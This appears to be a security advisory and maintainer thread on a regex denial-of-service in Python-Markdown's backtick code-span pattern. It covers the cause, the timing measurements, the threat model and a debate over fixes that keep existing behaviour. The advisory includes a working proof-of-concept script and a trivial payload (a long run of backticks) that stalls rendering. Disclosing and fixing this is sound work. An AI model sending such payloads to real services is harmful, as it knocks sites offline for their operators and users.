Backtick code-span ReDoS

[lsnouim]

Python-Markdown — backtick code-span ReDoS

Package markdown / Python-Markdown 3.10.3 (PyPI, latest) · CWE-1333 / 400 · CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) · Prior CVEs none for this (distinct from CVE-2025-69534, an HTMLParser AssertionError fixed in 3.8.1)

Abstract

Python-Markdown matches inline code spans with one regex, markdown.inlinepatterns.BACKTICK_RE, that uses a back-reference for the closing run of backticks:

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)(`+)(.+?)(?<!`)\2(?!`))'

On a run of unmatched backticks the second alternative (a backtick-run capture, a lazy .+?, then the \2 back-reference) back-tracks catastrophically — Python's re cannot use a DFA with a back-reference. Parse time grows ≈ O(n³): ~1 KB → 2.7 s, ~1.5 KB → 9 s, ~2 KB → >12 s. markdown.markdown() is synchronous and CPU-bound, so one small unauthenticated request pins the worker → remote DoS for any app that renders untrusted Markdown.

PoC

pip install "markdown==3.10.3"
python3 poc/markdown_backtick_redos_poc.py

import re
import signal
import time
import markdown
from markdown.inlinepatterns import BACKTICK_RE

class _Timeout(Exception):
    pass

signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(_Timeout()))

def timed(fn, s, cap=12.0):
    signal.setitimer(signal.ITIMER_REAL, cap)
    t0 = time.perf_counter()
    try:
        fn(s)
        dt = time.perf_counter() - t0
        signal.setitimer(signal.ITIMER_REAL, 0)
        return dt, False
    except _Timeout:
        return cap, True

def main():
    print(f"Python-Markdown {markdown.__version__}")
    print(f"BACKTICK_RE = {BACKTICK_RE!r}\n")
    print(f"    {'n (=bytes)':>12} {'time':>10}   ratio(2x)")
    prev = None
    for n in [250, 500, 1000, 1500, 2000]:
        dt, to = timed(markdown.markdown, "`" * n)
        r = (dt / prev) if prev else 0.0
        print(f"    {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10}   {r:5.2f}")
        prev = dt
        if to:
            break
    rx = re.compile(BACKTICK_RE)
    print(f"    {'n':>12} {'time':>10}   ratio(2x)")
    prev = None
    for n in [250, 500, 1000, 2000]:
        dt, to = timed(rx.search, "`" * n)
        r = (dt / prev) if prev else 0.0
        print(f"    {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10}   {r:5.2f}")
        prev = dt
        if to:
            break
        
if __name__ == "__main__":
    main()

Output (Python-Markdown 3.10.3), input = a string of n backtick characters:

(1) markdown.markdown():       n=1000 → 2.7 s,  n=1500 → 9.2 s,  n=2000 → TIMEOUT>12s
(2) isolated re.search(BACKTICK_RE):  identical blow-up  (~8× per doubling ≈ cubic)

Part (2) shows the isolated regex reproduces the blow-up exactly — the regex itself is the cause.

Threat Model

• Attacker: submits Markdown text that the app renders — the intended input of any Markdown feature (comments, posts, bios, wiki/doc pages, chat, PR/issue bodies, LLM output rendered as Markdown). Commonly unauthenticated; the payload (a run of backticks) is trivial and passes any "looks like text" check.
• No precondition to disclaim: rendering untrusted Markdown is the documented purpose.

Impact

• Remote, unauthenticated CPU-exhaustion DoS: ~2 KB → ~12 s of single-core CPU; cubic growth means a few KB reaches minutes; concurrent requests saturate all workers → outage.
• Synchronous parsing blocks the worker / event-loop thread for the whole duration.
• Broad blast radius: Python-Markdown is one of the most widely deployed Markdown engines (MkDocs, many Django/Flask apps, static-site generators, documentation & CI pipelines, LLM/chat front-ends).

Suggested fix

• Replace the regex with a linear CommonMark-style code-span scanner (as markdown-it-py, which is linear on these inputs): find an opening run of k backticks, then locate the next run of exactly k backticks with ordinary string operations — no backtracking, no back-reference.
• If a regex must be kept: drop the back-reference and the .+? between two variable-length backtick runs; bound the backtick-run length; and/or cap input size.
• Regression test: a 5000-backtick input must parse in well under a second.

[facelessuser]

If we are on Python 3.11+, we can likely get away with:

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)((?>`+))(.+?)(?<!`)\2(?!`))'

But to support Python 3.10, we'd have to simulate an atomic group:

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)(?=(`+))\2(.+?)(?<!`)\2(?!`))'

Results:

➜  markdown git:(master) ✗ python3 example.py
Python-Markdown 3.10.3
BACKTICK_RE = '(?:(?<!\\\\)((?:\\\\{2})+)(?=`+)|(?<!\\\\)(?=(`+))\\2(.+?)(?<!`)\\2(?!`))'

      n (=bytes)       time   ratio(2x)
             250     0.001s    0.00
             500     0.000s    0.39
            1000     0.001s    2.11
            1500     0.001s    1.71
            2000     0.002s    1.62
               n       time   ratio(2x)
             250     0.000s    0.00
             500     0.000s    3.23
            1000     0.000s    3.45
            2000     0.001s    3.36

Unit tests seem to pass as well:

➜  markdown git:(master) ✗ python3 -m unittest
........................................../Users/facelessuser/Code/github/markdown/markdown/core.py:450: DeprecationWarning: codecs.open() is deprecated. Use open() instead.
  output_file = codecs.open(output, "w",
......................................................................................s...................................................................................ssssssssssssssssssssssssssssssssssssssssssssss............................................................................ss.....................................................................................................................................................................................................ss............................................ssssssssssssssssssssssssssssssssssssssss...........................sssssssssssssssssss.......................................................................................................................................................................................................................................................................................................................................................................................................................................
----------------------------------------------------------------------
Ran 1088 tests in 0.356s

OK (skipped=110)

[facelessuser]

I'm not sure if there is some untested case that used to work but now wouldn't work, but I'm not sure if there are cases; it's worth worrying about them. I guess I'd have to see such cases to make a judgement call. I guess I'll think about some other cases before I push for it, but I think this is a potential fix at least.

[facelessuser]

One behavior change that would occur with this update is the following:

Previous:

>>> markdown.markdown('``a`')
'<p><code>`a</code></p>'

New:

>>> markdown.markdown('``a`')
'`<p><code>a</code></p>'

This is part of why the current pattern can be slow: previously, it would fall back to shorter starting lengths to find a suitable match. To maintain such behavior, you would likely need a non-regex solution. Giving up on the backtracking is necessary to speed this up.

If we wanted to be more strict like what PHP Markdown does, and a number of others, this could work:

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<![`\\])(?=(`+))\2(.+?)(?<!`)\2(?!`))'

This would yield a result of:

>>> markdown.markdown('`a``')
'<p>`a``</p>'

And would affect one test in tables that tests this case:

\`` \`

I think this could be acceptable as well and have no strong objections to it. But it would tighten the rules even more.

In most of these cases, the user should really be using some spacing: `` `a ``.

Anyway, that is my analysis of this.

[waylan]

• Replace the regex with a linear CommonMark-style code-span scanner

I haven't fully digested this report yet, but I want to call out this suggested fix. This is one of my objections to CommonMark. The spec was adjusted to match that was easier to implement. I expect our behavior to match the original rules and the reference implementation. We will not be compromising the expected behavior here.

Another concern is that our regex based approach is baked into our extension API. There is a large collection of existing third-party extensions which rely on that API. We will not be breaking our extension API.

Yes, this means that a "fix" will most likely be more difficult.

[facelessuser]

Yep, that is fine. We do deviate from the reference implementation currently, but I'm sure it has evolved over time. While I think this is a minor edge case, we can certainly try an approach that abandons regex if changing any edge cases is unacceptable.

[waylan]

If we are on Python 3.11+, we can likely get away with:

BACKTICK_RE = r'(?:(?<!\)((?:\{2})+)(?=+)|(?<!\\)((?>+))(.+?)(?<!)\2(?!))'
But to support Python 3.10, we'd have to simulate an atomic group:

BACKTICK_RE = r'(?:(?<!\)((?:\{2})+)(?=+)|(?<!\\)(?=(+))\2(.+?)(?<!)\2(?!))'

Note that we expect to drop Python 3.10 in October (see #760) which is only 2 months away. If we can maintain our current behavior and fix this issue by dropping support for Python 3.10, then I'm all for it. I don't see any reason why we couldn't do so early, given a good enough reason.

[facelessuser]

Note that we expect to drop Python 3.10 in October (see #760) which is only 2 months away. If we can maintain our current behavior and fix this issue by dropping support for Python 3.10, then I'm all for it. I don't see any reason why we couldn't do so early, given a good enough reason.

I'm okay with dropping 3.10 early.

Do we go with the mildest increase in strictness?

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)((?>`+))(.+?)(?<!`)\2(?!`))'

Or try to match PHP Markdown in strictness? Which is just slightly more so

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<![`\\])((?>`+))(.+?)(?<!`)\2(?!`))'

I have no strong feelings. Like I mentioned before, I find some of the potential behavior changes in both these cases as kind of undefined. I feel using spacing with inline nested ` (e.g. `` `a ``) should always be the appropriate path.

[waylan]

I feel using spacing with inline nested ` (e.g. `` `a ``) should always be the appropriate path.

I agree from a linter perspective, but we can't have the parser require that. We currently match and must continue to match the reference implementation here. The concern is that many existing documents could already be expecting the current behavior. If we change, it will break those documents if/when users re-render after updating. And that breakage is subtle enough that many won't notice.

[facelessuser]

I agree from a linter perspective, but we can't have the parser require that. We currently match and must continue to match the reference implementation here. The concern is that many existing documents could already be expecting the current behavior. If we change, it will break those documents if/when users re-render after updating. And that breakage is subtle enough that many won't notice.

Yep, while I understand, that puts us into a position of:

1. Try to shoehorn in a non-regex approach (which I think we have the support to do).
2. Eliminate the backtracking in regex.

There are likely dozens of cases where we've introduced small subtle changes only because we don't test every single edge case out there. I could have likely thrown up my first proposal, and since it didn't break any tests, no one would have batted an eye. The second proposal, that better matches the reference implementation, just happened to trigger on an edge case we were happened to have a test for, but I'm not sure how meaningful the case is.

I'm happy to explore whatever approach is desired, if it were me, I'd just document a potential change in behavior in the changelog and tighten up the rules to avoid backtracking. It's just a matter of what do we find more egregious.

[waylan]

To be clear, I have not checked the behavior or tried to break down your proposals to understand what they are doing. I haven't been able to commit any time to this except to simply responded to your explanations.

[facelessuser]

Understood, I'm in no hurry. I'll wait for when we come to some consensus.

[waylan]

Had time for a closer look at this. It seems that the proposed fixes change the output in two known cases:

1. ``a`
2. \`` \` (it took me a minute to wrap my head around this one)

Based on my testing of the reference implementation, we need to keep those behaviors unchanged.

It occurred to me that we could limit the number of backticks we match (for example (`{1,10}) instead of (`+)). After so many backticks, it becomes impossible for a human to identify the difference in length. But it's not clear how we should handle more than the limit. Although, at that point I don't think it really matters. And what would an appropriate limit be? I used 10 in my example, but that doesn't mean I think that is the correct limit (it was just a large enough round number to clearly be difficult for a human eye to parse at a glance). We used to use a hard limit for nested square brackets, and it was fine for years. However, with a refactor, we removed that limit by relying less of regex. That would probably be a better approach here.

I am not partial to any particular approach so long as we retain the current behavior to a reasonable degree.

[facelessuser]

Okay, if we absolutely want no changes in behavior than it is possible we could:

1. Do non-regex approach that is more efficient and doesn't have to backtrack and re-match.
2. Just use as you suggested limited value. This does change behavior, but possibly not in a way anyone would notice.

When I get some time I'll evaluate the non-regex approach. I know we've done something similar with link references. Unless you decide to just go with the limit approach before I get to it.